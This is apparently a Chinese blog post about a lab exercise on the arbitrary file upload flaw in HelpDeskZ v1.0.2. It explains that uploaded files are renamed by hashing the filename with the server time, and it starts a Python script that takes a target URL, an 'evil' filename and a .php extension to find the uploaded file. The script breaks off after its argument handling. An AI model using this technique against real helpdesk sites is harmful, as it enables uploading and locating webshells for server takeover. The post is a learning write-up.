HelpDeskZ v1.0.2 任意文件上传漏洞 学习

本文介绍了在靶场实践中发现的HelpDeskZ v1.0.2版本的任意文件上传漏洞。尽管系统在文件验证失败后并未取消上传,但通过分析源代码发现,服务器会将文件名与当前时间进行MD5加密,以减少潜在影响。作者在获取服务器时间及处理文件上传方面遇到了一些挑战,包括Python版本兼容性问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在靶场练习时遇到一个helpdeskZ v1.0.2的站点 于是学习并按照漏洞写了一个 查找上传文件的脚本

在提交机票处可以上传任意文件虽然会后台没有在文件验证失败后取消上传

也许是对上传文件的处理可以使得不会造成影响

在上传后 后台 将文件名与服务器当前时间做了一个md5加密 详情参考源文件

这里不贴出来了

源代码注释很详细 虽然在获得服务器时间的地方出了不少问题 

走了不少弯路 (可以直接获得服务器时间进行处理)

而且python包管理的问题 自己的主机上python版本 2之后的装了几个 这个兼容那个兼容

真的很玄学 

import urllib.request
import datetime
import _hashlib
import re
import urllib.error
import sys
import calendar
import time
'''
制作者:mask
python的包管理比较混乱下面代码可能会在一些情况下报错
我在自己的环境为
python3.7.3 版本下调试正常运行
如果不是这个环境则可以修改部分代码或者配置对应环境


'''

#帮助部分 简略
if sys.argv[1] in "-h" or sys.argv[1] in "--help":
    print("need python3.7.3 version")
    print("[uploadfile_url] [evil_filename] [extension]", end='\n')
    print("Example:%s http://www.google.com/ test .php"%sys.argv[0])
    exit(0)




uploadfile_url = sys.argv[1]
evil_filename = sys.argv[2]
extension = sys.argv[3]
#目标文件的路径 文件名以及扩展名


def get_servertime(url)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值